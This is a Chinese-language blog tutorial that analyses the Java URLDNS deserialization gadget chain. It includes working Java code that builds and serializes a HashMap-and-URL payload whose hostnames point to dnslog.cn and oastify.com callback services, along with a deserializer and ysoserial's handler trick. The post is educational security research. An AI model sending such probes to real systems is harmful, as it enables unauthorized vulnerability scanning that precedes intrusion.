URLDNS反序列化利用

这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制

HashMap结合URL触发的DNS检查思路

利用链


HashMap --> readObject()

HashMap --> hash()

URL --> hashcode()

URL --> getByName()进行域名解析的函数

利用分析

首先新建一个DnsTester类,new一个HashMap对象和一个URL对象

import java.net.MalformedURLException;  
import java.net.URL;  
import java.util.HashMap;  
  
public class DnsTester {  
    public static void main(String[] args) throws MalformedURLException {  
        HashMap list = new HashMap<>();//新建HashMap对象
        URL host = new URL("http://yp1vwv.dnslog.cn");  
        list.put(host,"22");  
  
    }  
}

然后按住ctrl键,左键点击HashMap进入查看

点击查看结构窗口,然后找到readObject方法,找到下面有一个hash方法加密key

转到hash方法

可以看到传入hash方法中的是对象,然后使用对象的hashCode方法来进行加密

这条利用链用到的是URL类的hashCode方法

转到DnsTester类,然后ctrl+左键转到URL类中

找到hashCode方法,可以看到先是判断hashCode的值是不是-1,是的话就直接退出,不是的话就继续执行下面的代码

查看handler类中hashCode方法,ctrl+左键点击handler.hashCode()

这时候传入的是u,也就是我们一开始定义的URL对象

可以看到调用了URL对象的getHostAddress方法

转到getHostAddress方法

发现调用了InetAddress的getByName方法,这个方法的作用是通过DNS解析host的IP地址,利用链到这里就结束了

attention

但是我们需要的是需要将HashMap对象给序列化的,这样的话我们在反序列化前就会使用一次DNS解析,而这时候我们的本地就会有DNS记录,这时候我们将序列化的内容反序列化的时候就不会在dnslog平台产生请求记录了

解决方法:其实这个对远程的目标有什么影响,只是会影响本地的复现而已,而且使用新版本的burpsuite的collabrator也没什么影响

解决方式一:刷新本地dns记录

ipconfig /flushdns

解决方法二:使用反射修改hashCode的值

按照思路,只要在put方法之前将URL对象传入之前使用反射的方法将hashCode的值修改成非-1即可,代码实现如下:

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.util.HashMap;  
  
public class DnsTester {  
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {  
        HashMap list = new HashMap<>();  
        URL host = new URL("http://fyhgocmxl650362zx0g1cw4t5kbbz1nq.oastify.com");  
//添加反射,获取URL类中的HashCode方法  
        Class c = Class.forName("java.net.URL");  
        Field FieldhashCode = c.getDeclaredField("hashCode");  
        FieldhashCode.setAccessible(true);// 变量为 private 修改访问权限  
        FieldhashCode.set(host,1);//这里传入的是具体的URL对象和想要设置的值,只要不是-1就行  
        list.put(host,"22");//因为这时候hashCode不是-1,所以这时候就不会发生dns请求了  
        FieldhashCode.set(host,-1);//将值改过来  
//将HashMap对象list序列化写入文件  
        FileOutputStream fileOutputStream = new FileOutputStream("./ser.txt");  
        ObjectOutputStream serial = new ObjectOutputStream(fileOutputStream);  
        serial.writeObject(list);  
        serial.close();  
        fileOutputStream.close();  
    }  
}



重新新建一个java类文件写入反序列化代码,反序列化代码如下:

import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
  
public class DeSerial {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        FileInputStream fileInputStream = new FileInputStream("./ser.txt");  
        ObjectInputStream deserial = new ObjectInputStream(fileInputStream);  
        deserial.readObject();  
        deserial.close();  
        fileInputStream.close();  
    }  
}

先运行序列化的代码,然后运行反序列化代码

如上图运行成功

注意:对于java21来说不允许通过反射修改private,但是java8没问题

解决方法:使用ysoserial中的利用方式

参考:
https://paper.seebug.org/1242/#_2
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#44f36f80

yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是,yso用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

定义了一个URLConnection和getHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,这里直接return null了,所以自然也就不会产生dns查询。

那么为什么在反序列化时又可以产生dns查询了呢?是因为这里的handler属性被设置为transient,前面说了被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。

总结

  • 总结一下寻找漏洞的流程
    1、hashmap类中的反序列化方法readObject方法中调用了hash方法
    2、hash方法调用了传入的键值key对象的hashcode方法,因为这个对象是Object类型,所以传入有hashcode方法的对象即可
    3、鼠标停在hashcode方法上,按快捷键ctrl+alt+F7,打开右上角的设置,选择找重写方法,选择查找范围为库,然后按alt+F7进行查找,最后找到java.net.URL中有用到hashcode
    4、找到hashcode方法是使用的handler对象的hashcode方法,handler对象是URLStreamHandler类的对象
    5、转到URLStreamHandler类中hashCode方法,发现里面使用了getHostAddress方法
    6、转到getHostAddress方法,发现方法u.getHostAddress(),u是URL对象,又返回到URL类中的getHostAddress()方法
    7、转到URL类中的getHostAddress()方法,发现InetAddress.getByName(host)
    8、上一步getByName方法就是做dns解析

流程图

hashmap(readObject)->hashmap(readObject-->>hash)
->hashmap(hash-->>[obj]hashcode)
->URL(hashcode-->>URLStreamHandler.hashcode)
->URLStreamHandler(hashcode-->>[InetAddress]getHostAddress)
->URLStreamHandler(getHostAddress-->>[URL]u.getHostAddress())
->URL(InetAddress.getByName)

POC构造思路
目的是让hashmap反序列化的时候将key的对象执行hashcode方法,
而且执行的还要是URL类中的方法,所以我们需要传入一个URL类型的键到hashmap对象

HashMap list = new HashMap<>();//新建HashMap对象
URL host = new URL("http://yp1vwv.dnslog.cn");  
list.put(host,"22"); 
posted @   流岁金沙  阅读(29)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
点击右上角即可分享
微信分享提示